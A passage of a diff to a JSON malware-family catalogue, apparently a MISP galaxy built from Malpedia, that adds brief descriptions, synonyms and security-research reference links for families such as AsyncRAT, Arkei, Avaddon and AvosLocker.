"https://www.youtube.com/watch?v=Dv2_DK3tRgI", + "https://asec.ahnlab.com/wp-content/uploads/2021/11/Kimsuky-%EA%B7%B8%EB%A3%B9%EC%9D%98-APT-%EA%B3%B5%EA%B2%A9-%EB%B6%84%EC%84%9D-%EB%B3%B4%EA%B3%A0%EC%84%9C-AppleSeed-PebbleDash.pdf", + "https://asec.ahnlab.com/en/30532/", "https://vblocalhost.com/presentations/operation-newton-hi-kimsuky-did-an-appleseed-really-fall-on-newtons-head/", "https://www.boho.or.kr/filedownload.do?attach_file_seq=2652&attach_file_id=EpF2652.pdf", "https://www.pwc.co.uk/cyber-security/pdf/pwc-cyber-threats-2020-a-year-in-retrospect.pdf", "https://blog.malwarebytes.com/threat-analysis/2021/06/kimsuky-apt-continues-to-target-south-korean-government-using-appleseed-backdoor/", "https://i.blackhat.com/asia-21/Friday-Handouts/as-21-Kuo-We-Are-About-To-Land-How-CloudDragon-Turns-A-Nightmare-Into-Reality.pdf", - "https://conference.hitb.org/hitbsecconf2021ams/materials/D2T1%20-%20The%20Phishermen%20-%20Dissecting%20Phishing%20Techniques%20of%20CloudDragon%20APT%20-%20Linda%20Kuo%20&Zih-Cing%20Liao%20.pdf" + "https://conference.hitb.org/hitbsecconf2021ams/materials/D2T1%20-%20The%20Phishermen%20-%20Dissecting%20Phishing%20Techniques%20of%20CloudDragon%20APT%20-%20Linda%20Kuo%20&Zih-Cing%20Liao%20.pdf", + "https://download.ahnlab.com/global/brochure/Analysis%20Report%20of%20Kimsuky%20Group.pdf" ], "synonyms": [ "JamBog" @@ -9718,11 +11527,25 @@ "uuid": "bf135b0a-3120-42c4-ba58-c80f9ef689bf", "value": "Arefty" }, + { + "description": "During a campaign against a Ukrainian energy provider, a new loader of a new version of CaddyWiper called \"ArguePatch\" was observed by ESET researchers. ArguePatch is a modified version of Hex-Ray's Remote Debugger Server (win32_remote.exe).\r\nArguePatch expects a decryption key and the file of the CaddyWiper shellcode as command line parameters.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.arguepatch", + "https://www.welivesecurity.com/2022/04/12/industroyer2-industroyer-reloaded/" + ], + "synonyms": [], + "type": [] + }, + "uuid": "e9b4bec3-ad18-49cc-b6af-c0ffcc283153", + "value": "ArguePatch" + }, { "description": "", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.ariabody", + "https://medium.com/insomniacs/aria-body-loader-is-that-you-53bdd630f8a1", "https://research.checkpoint.com/2020/naikon-apt-cyber-espionage-reloaded/", "https://securelist.com/naikons-aria/96899/" ], @@ -9732,6 +11555,33 @@ "uuid": "5fa1c068-8e73-4930-b6fe-8c92c6357df6", "value": "Aria-body" }, + { + "description": "This malware is a Go written variant of Micropsia and according to DeepInstinct it is still in development.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.aridgopher", + "https://www.theregister.com/2022/03/22/arid-gopher-malware-deep-instinct/", + "https://www.deepinstinct.com/blog/arid-gopher-the-newest-micropsia-malware-variant" + ], + "synonyms": [], + "type": [] + }, + "uuid": "2037d9f1-bf2a-44e1-b04f-98fe3f961381", + "value": "Arid Gopher" + }, + { + "description": "Helper malware associated with AridGopher, which will provide an alternative persistence mechanism in case \"360 total security\" is found on a target system.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.aridhelper", + "https://www.deepinstinct.com/blog/arid-gopher-the-newest-micropsia-malware-variant" + ], + "synonyms": [], + "type": [] + }, + "uuid": "6bd3759f-5961-423d-9437-c67bddcda458", + "value": "AridHelper" + }, { "description": "", "meta": { @@ -9748,12 +11598,17 @@ "value": "Arik Keylogger" }, { - "description": "", + "description": "Arkei is a stealer that appeared around May 2018. It collects data about browsers (saved passwords and autofill forms), cryptocurrency wallets, and steal files matching an attacker-defined pattern. It then exfiltrates everything in a zip file uploaded to the attacker's panel. Later, it was forked and used as a base to create Vidar stealer.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.arkei_stealer", + "https://forensicitguy.github.io/analyzing-stealer-msi-using-msitools/", "https://www.spamhaus.org/news/images/botnet-report-2020-q2/2020-q2-spamhaus-botnet-threat-report.pdf", - "https://www.bleepingcomputer.com/news/security/hacker-breaches-syscoin-github-account-and-poisons-official-client/" + "https://blogs.blackberry.com/en/2022/02/threat-thursday-arkei-infostealer", + "https://blog.minerva-labs.com/a-long-list-of-arkei-stealers-browser-crypto-wallets", + "https://www.bleepingcomputer.com/news/security/hacker-breaches-syscoin-github-account-and-poisons-official-client/", + "https://isc.sans.edu/diary/rss/28468", + "https://fumik0.com/2018/12/24/lets-dig-into-vidar-an-arkei-copycat-forked-stealer-in-depth-analysis/" ], "synonyms": [ "ArkeiStealer" @@ -9797,11 +11652,12 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.artra", + "https://www.freebuf.com/articles/database/192726.html", "https://securelist.com/apt-trends-report-q1-2021/101967/", "https://www.bitdefender.com/files/News/CaseStudies/study/352/Bitdefender-PR-Whitepaper-BitterAPT-creat4571-en-EN-GenericUse.pdf", - "https://www.freebuf.com/articles/database/192726.html", - "https://unit42.paloaltonetworks.com/multiple-artradownloader-variants-used-by-bitter-to-target-pakistan/", - "https://ti.360.net/blog/articles/analysis-of-targeted-attack-against-pakistan-by-exploiting-inpage-vulnerability-and-related-apt-groups-english" + "https://ti.360.net/blog/articles/analysis-of-targeted-attack-against-pakistan-by-exploiting-inpage-vulnerability-and-related-apt-groups-english", + "https://blog.talosintelligence.com/2022/05/bitter-apt-adds-bangladesh-to-their.html", + "https://unit42.paloaltonetworks.com/multiple-artradownloader-variants-used-by-bitter-to-target-pakistan/" ], "synonyms": [], "type": [] @@ -9866,7 +11722,7 @@ "value": "Asruex" }, { - "description": "", + "description": "First spotted in the wild in 2017, Astaroth is a highly prevalent, information-stealing Latin American banking trojan. It is written in Delphi and has some innovative execution and attack techniques. Originally, this malware variant targeted Brazilian users, but Astaroth now targets users both in North America and Europe.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.astaroth", @@ -9874,12 +11730,14 @@ "https://labs.f-secure.com/blog/attack-detection-fundamentals-code-execution-and-persistence-lab-1/", "https://www.microsoft.com/security/blog/2019/07/08/dismantling-a-fileless-campaign-microsoft-defender-atp-next-gen-protection-exposes-astaroth-attack/", "https://www.microsoft.com/security/blog/2020/03/23/latest-astaroth-living-off-the-land-attacks-are-even-more-invisible-but-not-less-observable/", - "https://isc.sans.edu/diary/27482", "https://www.botconf.eu/wp-content/uploads/2019/12/B2019-Soucek-Hornak-DemystifyingBankingTrojansFromLatinAmerica.pdf", - "https://blog.talosintelligence.com/2020/05/astaroth-analysis.html", + "https://isc.sans.edu/diary/27482", "https://securelist.com/the-tetrade-brazilian-banking-malware/97779/", + "https://blog.talosintelligence.com/2020/05/astaroth-analysis.html", + "https://github.com/pan-unit42/tweets/blob/master/2022-01-17-IOCs-for-Astaroth-Guildma-infection.txt", "https://blog.easysol.net/meet-lucifer-international-trojan/", "https://www.welivesecurity.com/2020/03/05/guildma-devil-drives-electric/", + "https://www.armor.com/resources/threat-intelligence/astaroth-banking-trojan/", "https://www.cybereason.com/blog/information-stealing-malware-targeting-brazil-full-research", "https://blog.talosintelligence.com/2020/12/2020-year-in-malware.html" ], @@ -9893,32 +11751,81 @@ }, { "description": "", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.astralocker", + "https://blog.reversinglabs.com/blog/smash-and-grab-astralocker-2-pushes-ransomware-direct-from-office-docs" + ], + "synonyms": [], + "type": [] + }, + "uuid": "d32a6790-57c7-4985-b6e0-5b73f025fb43", + "value": "AstraLocker" + }, + { + "description": "AsyncRAT is a Remote Access Tool (RAT) designed to remotely monitor and control other computers through a secure encrypted connection. It is an open source remote administration tool, however, it could also be used maliciously because it provides functionality such as keylogger, remote desktop control, and many other functions that may cause harm to the victim’s computer. In addition, AsyncRAT can be delivered via various methods such as spear-phishing, malvertising, exploit kit and other techniques.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.asyncrat", + "https://jstnk9.github.io/jstnk9/research/AsyncRAT-Analysis/", + "https://intel471.com/blog/china-cybercrime-undergrond-deepmix-tea-horse-road-great-firewall/", "https://blog.morphisec.com/tracking-hcrypt-an-active-crypter-as-a-service", + "https://blogs.vmware.com/security/2019/11/threat-analysis-unit-tau-threat-intelligence-notification-asyncrat.html", + "https://www.trendmicro.com/en_us/research/21/k/campaign-abusing-rats-uses-fake-websites.html", + "https://blog.talosintelligence.com/2022/04/asyncrat-3losh-update.html", "https://blog.morphisec.com/revealing-the-snip3-crypter-a-highly-evasive-rat-loader", + "https://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/how-cybercriminals-abuse-cloud-tunneling-services", "https://www.proofpoint.com/us/blog/threat-insight/threat-actor-profile-ta2719-uses-colorful-lures-deliver-rats-local-languages", + "https://blog.morphisec.com/asyncrat-new-delivery-technique-new-threat-campaign", + "https://www.microsoft.com/security/blog/2021/11/11/html-smuggling-surges-highly-evasive-loader-technique-increasingly-used-in-banking-malware-targeted-attacks/", + "https://www.fortinet.com/blog/threat-research/threat-actors-prey-on-eager-travelers", + "https://blogs.blackberry.com/en/2022/05/dot-net-stubs-sowing-the-seeds-of-discord", + "https://www.proofpoint.com/us/blog/threat-insight/charting-ta2541s-flight", + "https://www.trendmicro.com/en_us/research/22/d/new-apt-group-earth-berberoka-targets-gambling-websites-with-old.html", + "https://community.riskiq.com/article/ade260c6", + "https://blog.morphisec.com/syk-crypter-discord", + "https://www.ncsc.admin.ch/ncsc/en/home/aktuell/im-fokus/2022/wochenrueckblick_7.html", + "https://thehackernews.com/2022/01/hackers-using-new-evasive-technique-to.html", + "https://threatresearch.ext.hp.com/wp-content/uploads/2022/05/HP-Wolf-Security-Threat-Insights-Report-Q1-2022.pdf", + "https://ics-cert.kaspersky.com/media/Kaspersky-ICS-CERT-APT-attacks-on-industrial-organizations-in-H1-2021-En.pdf", + "https://brianstadnicki.github.io/posts/vulnerability-asyncrat-rce/", + "https://www.intezer.com/wp-content/uploads/2021/02/Intezer-2020-Go-Malware-Round-Up.pdf", "https://labs.k7computing.com/?p=21759", - "https://ti.qianxin.com/uploads/2020/09/17/69da886eecc7087e9dac2d3ea4c66ba8.pdf", "https://github.com/NYAN-x-CAT/AsyncRAT-C-Sharp/", "https://blog.morphisec.com/ahk-rat-loader-leveraged-in-unique-delivery-campaigns", - "https://www.welivesecurity.com/2021/01/12/operation-spalax-targeted-malware-attacks-colombia/", + "https://ti.qianxin.com/uploads/2020/09/17/69da886eecc7087e9dac2d3ea4c66ba8.pdf", + "https://aidenmitchell.ca/asyncrat-via-vbs/", + "https://www.fortinet.com/blog/threat-research/spear-phishing-campaign-with-new-techniques-aimed-at-aviation-companies", + "https://eln0ty.github.io/malware%20analysis/asyncRAT/", + "https://www.zscaler.com/blogs/security-research/targeted-attack-thailand-pass-customers-delivers-asyncrat", + "https://threatpost.com/ta2541-apt-rats-aviation/178422/", "https://blog.talosintelligence.com/2021/09/operation-layover-how-we-tracked-attack.html", + "https://community.riskiq.com/article/24759ad2", "https://www.bitdefender.com/files/News/CaseStudies/study/400/Bitdefender-PR-Whitepaper-MosaicLoader-creat5540-en-EN.pdf", "https://www.trendmicro.com/en_us/research/21/i/apt-c-36-updates-its-long-term-spam-campaign-against-south-ameri.html", + "https://community.riskiq.com/article/3929ede0/description", "https://securelist.com/apt-trends-report-q3-2020/99204/", - "https://www.intezer.com/wp-content/uploads/2021/02/Intezer-2020-Go-Malware-Round-Up.pdf", + "https://github.com/jeFF0Falltrades/Tutorials/tree/master/asyncrat_config_parser", + "https://redskyalliance.org/xindustry/possible-identity-of-a-kuwaiti-hacker-nyanxcat", "https://www.ciphertechsolutions.com/roboski-global-recovery-automation/", - "https://twitter.com/MsftSecIntel/status/1392219299696152578", - "https://www.spamhaus.org/news/images/botnet-report-2020-q2/2020-q2-spamhaus-botnet-threat-report.pdf", + "https://blog.morphisec.com/hubfs/Journey%20of%20a%20Crypto%20Scammer%20-%20NFT-001%20%7C%20Morphisec%20%7C%20Threat%20Report.pdf", + "https://assets.virustotal.com/reports/2021trends.pdf", + "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/follina-msdt-exploit-malware", + "https://blog.talosintelligence.com/2022/01/nanocore-netwire-and-asyncrat-spreading.html", + "https://www.esentire.com/blog/suspected-asyncrat-delivered-via-iso-files-using-html-smuggling-technique", + "https://twitter.com/ESETresearch/status/1449132020613922828", "https://www.trendmicro.com/content/dam/trendmicro/global/en/research/21/i/apt-c-36-updates-its-long-term-spam-campaign-against-south-american-entities-with-commodity-rats/BlindEagleIOCList.txt", + "https://twitter.com/MsftSecIntel/status/1392219299696152578", + "https://www.welivesecurity.com/2021/01/12/operation-spalax-targeted-malware-attacks-colombia/", "https://www.trendmicro.com/content/dam/trendmicro/global/en/research/21/i/ssl-tls-technical-brief/ssl-tls-technical-brief.pdf", - "https://securityintelligence.com/posts/roboski-global-recovery-automation/", - "https://intel471.com/blog/china-cybercrime-undergrond-deepmix-tea-horse-road-great-firewall/", - "https://blog.talosintelligence.com/2021/08/rat-campaign-targets-latin-america.html", + "https://www.spamhaus.org/news/images/botnet-report-2020-q2/2020-q2-spamhaus-botnet-threat-report.pdf", "https://blogs.jpcert.or.jp/en/2020/12/quasar-family.html", - "https://www.fortinet.com/blog/threat-research/spear-phishing-campaign-with-new-techniques-aimed-at-aviation-companies", + "https://decoded.avast.io/threatintel/outbreak-of-follina-in-australia/", + "https://blog.talosintelligence.com/2021/08/rat-campaign-targets-latin-america.html", + "https://www.esentire.com/blog/asyncrat-activity", + "https://securityintelligence.com/posts/roboski-global-recovery-automation/", + "https://www.bleepingcomputer.com/news/security/unskilled-hacker-linked-to-years-of-attacks-on-aviation-transport-sectors/", + "https://twitter.com/vxunderground/status/1519632014361640960", "https://www.menlosecurity.com/blog/isomorph-infection-in-depth-analysis-of-a-new-html-smuggling-campaign/", "https://www.zscaler.com/blogs/security-research/catching-rats-over-custom-protocols" ], @@ -10017,8 +11924,14 @@ "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.atomsilo", "https://news.sophos.com/en-us/2021/10/04/atom-silo-ransomware-actors-use-confluence-exploit-dll-side-load-for-stealthy-attack/", + "https://www.zscaler.com/blogs/security-research/atomsilo-ransomware-enters-league-double-extortion", + "https://twitter.com/siri_urz/status/1437664046556274694?s=20", + "https://news.sophos.com/en-us/2022/03/17/the-ransomware-threat-intelligence-center/", + "https://www.secureworks.com/research/bronze-starlight-ransomware-operations-use-hui-loader", + "https://decoded.avast.io/threatintel/decryptor-for-atomsilo-and-lockfile-ransomware/", + "https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself", "https://chuongdong.com//reverse%20engineering/2021/10/13/AtomSiloRansomware/", - "https://twitter.com/siri_urz/status/1437664046556274694?s=20" + "https://chuongdong.com/reverse%20engineering/2021/10/13/AtomSiloRansomware/" ], "synonyms": [], "type": [] @@ -10097,9 +12010,12 @@ "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.avaddon", "https://twitter.com/Securityinbits/status/1271065316903120902", + "https://www.mandiant.com/resources/chasing-avaddon-ransomware", "https://medium.com/s2wlab/quick-analysis-of-haron-ransomware-feat-avaddon-and-thanos-1ebb70f64dc4", "https://www.coveware.com/blog/ransomware-attack-vectors-shift-as-new-software-vulnerability-exploits-abound", + "https://www.splunk.com/en_us/blog/security/gone-in-52-seconds-and-42-minutes-a-comparative-analysis-of-ransomware-encryption-speed.html", "https://medium.com/s2wlab/w4-jan-en-story-of-the-week-ransomware-on-the-darkweb-7595544363b1", + "https://symantec.broadcom.com/hubfs/The_Ransomware_Threat_September_2021.pdf", "https://ke-la.com/how-ransomware-gangs-find-new-monetization-schemes-and-evolve-in-marketing/", "https://www.bleepingcomputer.com/news/security/another-ransomware-now-uses-ddos-attacks-to-force-victims-to-pay/", "https://labs.sentinelone.com/avaddon-raas-breaks-public-decryptor-continues-on-rampage/", @@ -10114,15 +12030,20 @@ "https://therecord.media/darkside-ransomware-gang-says-it-lost-control-of-its-servers-money-a-day-after-biden-threat/", "https://www.zdnet.com/article/the-malware-that-usually-installs-ransomware-and-you-need-to-remove-right-away/", "https://twitter.com/dk_samper/status/1348560784285167617", + "https://www.connectwise.com/resources/avaddon-profile", + "https://www.cronup.com/post/de-ataque-con-malware-a-incidente-de-ransomware", + "https://www.crowdstrike.com/blog/big-game-hunting-on-the-rise-again-according-to-ecrime-index/", "https://arxiv.org/pdf/2102.04796.pdf", + "https://atos.net/en/lp/securitydive/avaddon-ransomware-analysis", "https://public.intel471.com/blog/ransomware-as-a-service-2020-ryuk-maze-revil-egregor-doppelpaymer/", "https://www.cyber.gov.au/sites/default/files/2021-05/2021-003%20Ongoing%20campaign%20using%20Avaddon%20Ransomware%20-%2020210508.pdf", + "https://www.splunk.com/en_us/pdfs/resources/whitepaper/an-empirically-comparative-analysis-of-ransomware-binaries.pdf", "https://vulnerability.ch/2021/04/ransomware-and-date-leak-site-publication-time-analysis/", "https://threatconnect.com/blog/threatconnect-research-roundup-probable-sandworm-infrastructure", "https://www.crowdstrike.com/blog/how-big-game-hunting-ttps-shifted-after-darkside-pipeline-attack/", "https://www.hornetsecurity.com/en/security-informationen-en/leakware-ransomware-hybrid-attacks/", "https://www.hornetsecurity.com/en/security-information/avaddon-from-seeking-affiliates-to-in-the-wild-in-2-days/", - "https://www.cronup.com/post/de-ataque-con-malware-a-incidente-de-ransomware", + "https://news.sophos.com/en-us/2022/03/17/the-ransomware-threat-intelligence-center/", "https://docs.google.com/spreadsheets/d/1MI8Z2tBhmqQ5X8Wf_ozv3dVjz5sJOs-3", "https://www.pwc.co.uk/issues/cyber-security-services/insights/what-is-behind-ransomware-attacks-increase.html", "https://www.tgsoft.it/files/report/download.asp?id=568531345", @@ -10160,6 +12081,19 @@ "uuid": "0568fcc6-755f-416e-9c5b-22232cd7ae0e", "value": "AVCrypt" }, + { + "description": "Cyble Research discovered this .Net written malware dubbed \"AvD Crypto Stealer\". The name of this malware is misleading, because this is a kind of clipper malware. Assumption of Cyble is, that this malware could target other threat actors as scenario.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.avd", + "https://blog.cyble.com/2022/03/22/hunters-become-the-hunted/" + ], + "synonyms": [], + "type": [] + }, + "uuid": "de92fff8-337e-4cf8-853b-f13f08ffc24d", + "value": "AvD Crypto Stealer" + }, { "description": "", "meta": { @@ -10181,12 +12115,15 @@ "https://malpedia.caad.fkie.fraunhofer.de/details/win.ave_maria", "https://www.youtube.com/watch?v=81fdvmGmRvM", "https://blog.talosintelligence.com/2021/09/operation-armor-piercer.html", + "https://blog.morphisec.com/syk-crypter-discord", "https://resources.malwarebytes.com/files/2020/05/CTNT_Q1_2020_COVID-Report_Final.pdf", "https://medium.com/insomniacs/do-you-want-to-bake-a-donut-come-on-lets-go-update-go-away-maria-e8e2b33683b1", "https://reaqta.com/2019/04/ave_maria-malware-part1/", + "https://www.netskope.com/blog/dbatloader-abusing-discord-to-deliver-warzone-rat", "http://blog.morphisec.com/threat-alert-ave-maria-infostealer-on-the-rise-with-new-stealthier-delivery", - "https://www.youtube.com/watch?v=T0tdj1WDioM", + "https://blogs.blackberry.com/en/2022/05/dot-net-stubs-sowing-the-seeds-of-discord", "https://www.kaspersky.com/about/press-releases/2019_fin7-hacking-group-targets-more-than-130-companies-after-leaders-arrest", + "https://blogs.blackberry.com/en/2021/12/threat-thursday-warzone-rat-breeds-a-litter-of-scriptkiddies", "https://mp.weixin.qq.com/s/fsesosMnKIfAi_I9I0wKSA", "https://blog.team-cymru.com/2019/07/25/unmasking-ave_maria/", "https://blog.talosintelligence.com/2020/12/2020-year-in-malware.html", @@ -10201,7 +12138,10 @@ "https://blog.talosintelligence.com/2020/09/salfram-robbing-place-without-removing.html", "https://www.trendmicro.com/content/dam/trendmicro/global/en/research/21/i/apt-c-36-updates-its-long-term-spam-campaign-against-south-american-entities-with-commodity-rats/BlindEagleIOCList.txt", "https://www.trendmicro.com/en_us/research/21/i/Water-Basilisk-Uses-New-HCrypt-Variant-to-Flood-Victims-with-RAT-Payloads.html", + "https://www.youtube.com/watch?v=T0tdj1WDioM", + "https://www.fortinet.com/blog/threat-research/phishing-campaign-delivering-fileless-malware", "https://securityintelligence.com/posts/roboski-global-recovery-automation/", + "https://www.uptycs.com/blog/warzonerat-can-now-evade-with-process-hollowing", "https://research.checkpoint.com/2020/warzone-behind-the-enemy-lines/", "https://blogs.quickheal.com/warzone-rat-beware-of-the-trojan-malware-stealing-data-triggering-from-various-office-documents/", "https://www.pwc.co.uk/cyber-security/pdf/pwc-cyber-threats-2020-a-year-in-retrospect.pdf", @@ -10212,6 +12152,7 @@ "AVE_MARIA", "AveMariaRAT", "Warzone RAT", + "WarzoneRAT", "avemaria" ], "type": [] @@ -10225,7 +12166,21 @@ "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.avos_locker", "https://blog.malwarebytes.com/threat-analysis/2021/07/avoslocker-enters-the-ransomware-scene-asks-for-partners/", - "https://unit42.paloaltonetworks.com/emerging-ransomware-groups/" + "https://cdn.pathfactory.com/assets/10555/contents/400686/13f4424c-05b4-46db-bb9c-6bf9b5436ec4.pdf", + "https://blog.qualys.com/vulnerabilities-threat-research/2022/03/06/avoslocker-ransomware-behavior-examined-on-windows-linux", + "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/ransomware-hive-conti-avoslocker", + "https://www.advintel.io/post/enter-karakurt-data-extortion-arm-of-prolific-ransomware-group", + "https://blog.cyble.com/2022/01/17/avoslocker-ransomware-linux-version-targets-vmware-esxi-servers/", + "https://unit42.paloaltonetworks.com/emerging-ransomware-groups/", + "https://blogs.blackberry.com/en/2022/04/threat-thursday-avoslocker-prompts-advisory-from-fbi-and-fincen", + "https://news.sophos.com/en-us/2022/03/17/the-ransomware-threat-intelligence-center/", + "https://www.symantec.broadcom.com/hubfs/SED/SED_Threat_Hunter_Reports_Alerts/SED_FY22Q2_SES_Ransomware-Threat-Landscape_WP.pdf", + "https://www.advintel.io/post/discontinued-the-end-of-conti-s-brand-marks-new-chapter-for-cybercrime-landscape", + "https://news.sophos.com/en-us/2021/12/22/avos-locker-remotely-accesses-boxes-even-running-in-safe-mode/", + "https://www.trendmicro.com/en_us/research/22/e/avoslocker-ransomware-variant-abuses-driver-file-to-disable-anti-Virus-scans-log4shell.html", + "https://www.ic3.gov/Media/News/2022/220318.pdf", + "https://blog.talosintelligence.com/2022/06/avoslocker-new-arsenal.html", + "https://www.trendmicro.com/vinfo/us/security/news/ransomware-spotlight/ransomware-spotlight-avoslocker" ], "synonyms": [], "type": [] @@ -10263,6 +12218,7 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.aytoke", + "https://www.youtube.com/watch?v=FttiysUZmDw", "https://snort.org/rule_docs/1-34217" ], "synonyms": [], @@ -10279,7 +12235,7 @@ "https://blog.360totalsecurity.com/en/bayworld-event-cyber-attack-against-foreign-trade-industry/", "https://blog.team-cymru.com/2020/02/19/azorult-what-we-see-using-our-own-tools/", "https://yoroi.company/research/apt-or-not-apt-whats-behind-the-aggah-campaign/", - "https://community.riskiq.com/article/2a36a7d2/description", + "https://isc.sans.edu/diary/25120", "https://medium.com/s2wlab/w1-feb-en-story-of-the-week-stealers-on-the-darkweb-49945a31601d", "https://community.riskiq.com/article/56e28880", "https://mariohenkel.medium.com/decrypting-azorult-traffic-for-fun-and-profit-9f28d8638b05", @@ -10288,18 +12244,20 @@ "https://blog.talosintelligence.com/2020/04/azorult-brings-friends-to-party.html", "https://www.vmray.com/cyber-security-blog/azorult-delivered-by-guloader-malware-analysis-spotlight/", "https://www.proofpoint.com/us/threat-insight/post/new-whiteshadow-downloader-uses-microsoft-sql-retrieve-malware", - "https://isc.sans.edu/diary/25120", + "https://community.riskiq.com/article/2a36a7d2/description", "https://ke-la.com/whats-dead-may-never-die-azorult-infostealer-decommissioned-again/", "https://blog.talosintelligence.com/2020/06/tor2mine-is-up-to-their-old-tricks-and_11.html", "https://www.youtube.com/watch?v=EyDiIAt__dI", "https://fr3d.hk/blog/gazorp-thieving-from-thieves", "https://www.bleepingcomputer.com/news/security/azorult-trojan-serving-aurora-ransomware-by-malactor-oktropys/", "https://www.blueliv.com/cyber-security-and-cyber-threat-intelligence-blog-blueliv/using-qiling-framework-to-unpack-ta505-packed-samples/", + "https://www.trendmicro.com/en_us/research/21/k/campaign-abusing-rats-uses-fake-websites.html", "https://malwarebreakdown.com/2017/07/24/the-seamless-campaign-drops-ramnit-follow-up-malware-azorult-stealer-smoke-loader-etc/", "https://blog.nviso.eu/2020/09/01/epic-manchego-atypical-maldoc-delivery-brings-flurry-of-infostealers/", "https://yoroi.company/research/aggah-how-to-run-a-botnet-without-renting-a-server-for-more-than-a-year/", "https://twitter.com/DrStache_/status/1227662001247268864", "https://blog.yoroi.company/research/aggah-how-to-run-a-botnet-without-renting-a-server-for-more-than-a-year/", + "https://asec.ahnlab.com/en/26517/", "https://www.virusbulletin.com/uploads/pdf/magazine/2021/202104-design-vulnerabilities-azorult-cc-panels.pdf", "https://malwarebreakdown.com/2017/11/12/seamless-campaign-delivers-ramnit-via-rig-ek-at-188-225-82-158-follow-up-malware-is-azorult-stealer/", "https://resources.malwarebytes.com/files/2020/05/CTNT_Q1_2020_COVID-Report_Final.pdf", @@ -10322,11 +12280,13 @@ "https://www.cybereason.com/blog/the-hole-in-the-bucket-attackers-abuse-bitbucket-to-deliver-an-arsenal-of-malware", "https://blogs.blackberry.com/en/2020/04/threat-spotlight-gootkit-banking-trojan", "https://securityintelligence.com/posts/roboski-global-recovery-automation/", + "https://blog.checkpoint.com/2022/05/10/a-german-car-attack-on-german-vehicle-businesses/", "https://www.domaintools.com/resources/blog/identifying-network-infrastructure-related-to-a-who-spoofing-campaign", "http://www.vkremez.com/2017/07/lets-learn-reversing-credential-and.html", "https://maxkersten.nl/binary-analysis-course/malware-analysis/azorult-loader-stages/", "https://blog.minerva-labs.com/azorult-now-as-a-signed-google-update", "https://0xc0decafe.com/malware-analyst-guide-to-pe-timestamps/", + "https://blog.talosintelligence.com/2021/12/magnat-campaigns-use-malvertising-to.html", "https://isc.sans.edu/forums/diary/Analysis+of+a+tripleencrypted+AZORult+downloader/25768/", "https://www.proofpoint.com/us/threat-insight/post/new-version-azorult-stealer-improves-loading-features-spreads-alongside" ], @@ -10366,14 +12326,18 @@ "https://www.mcafee.com/enterprise/en-us/assets/reports/rp-babuk-ransomware.pdf", "https://www.zerofox.com/blog/babuk-ransomware-variant-delta-plus/", "https://sebdraven.medium.com/babuk-is-distributed-packed-78e2f5dd2e62", + "https://blog.talosintelligence.com/2021/11/babuk-exploits-exchange.html", "https://www.bleepingcomputer.com/news/security/data-leak-marketplaces-aim-to-take-over-the-extortion-economy/", "https://www.bleepingcomputer.com/news/security/new-evil-corp-ransomware-mimics-payloadbin-gang-to-evade-us-sanctions/", "https://medium.com/s2wlab/w4-jan-en-story-of-the-week-ransomware-on-the-darkweb-7595544363b1", - "https://twitter.com/Sebdraven/status/1346377590525845504", + "https://symantec.broadcom.com/hubfs/The_Ransomware_Threat_September_2021.pdf", + "https://krebsonsecurity.com/2022/02/wazawaka-goes-waka-waka/", + "https://raw.githubusercontent.com/vc0RExor/Malware-Threat-Reports/main/Ransomware/Babuk/Babuk_Ransomware_EN_2021_05.pdf", "https://krebsonsecurity.com/2021/08/ransomware-gangs-and-the-name-game-distraction/", "https://www.bleepingcomputer.com/news/security/babyk-ransomware-wont-hit-charities-unless-they-support-lgbt-blm/", "https://www.bleepingcomputer.com/news/security/leaked-babuk-locker-ransomware-builder-used-in-new-attacks/", "https://securelist.com/ransomware-world-in-2021/102169/", + "https://www.splunk.com/en_us/blog/security/gone-in-52-seconds-and-42-minutes-a-comparative-analysis-of-ransomware-encryption-speed.html", "https://marcoramilli.com/2021/07/05/babuk-ransomware-the-builder/", "https://www.advintel.io/post/groove-vs-babuk-groove-ransom-manifesto-ramp-underground-platform-secret-inner-workings", "https://ke-la.com/new-russian-speaking-forum-a-new-place-for-raas/", @@ -10382,7 +12346,10 @@ "https://lab52.io/blog/quick-review-of-babuk-ransomware-builder/", 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-10600,6 +12589,7 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.badnews", + "https://www.forcepoint.com/blog/x-labs/monsoon-analysis-apt-campaign", "http://blog.fortinet.com/2017/04/05/in-depth-look-at-new-variant-of-monsoon-apt-backdoor-part-1", "https://documents.trendmicro.com/assets/tech-brief-untangling-the-patchwork-cyberespionage-group.pdf", "http://blog.fortinet.com/2017/04/05/in-depth-look-at-new-variant-of-monsoon-apt-backdoor-part-2", @@ -10607,10 +12597,10 @@ "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf", "https://securelist.com/apt-trends-report-q1-2021/101967/", "https://www.forcepoint.com/sites/default/files/resources/files/forcepoint-security-labs-monsoon-analysis-report.pdf", - "https://researchcenter.paloaltonetworks.com/2018/03/unit42-patchwork-continues-deliver-badnews-indian-subcontinent/", + "https://lab52.io/blog/new-patchwork-campaign-against-pakistan/", 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"https://www.cisa.gov/uscert/ncas/alerts/aa22-108a", "https://blog.lexfo.fr/ressources/Lexfo-WhitePaper-The_Lazarus_Constellation.pdf", "https://blog.reversinglabs.com/blog/hidden-cobra" ], @@ -10804,6 +12798,32 @@ "uuid": 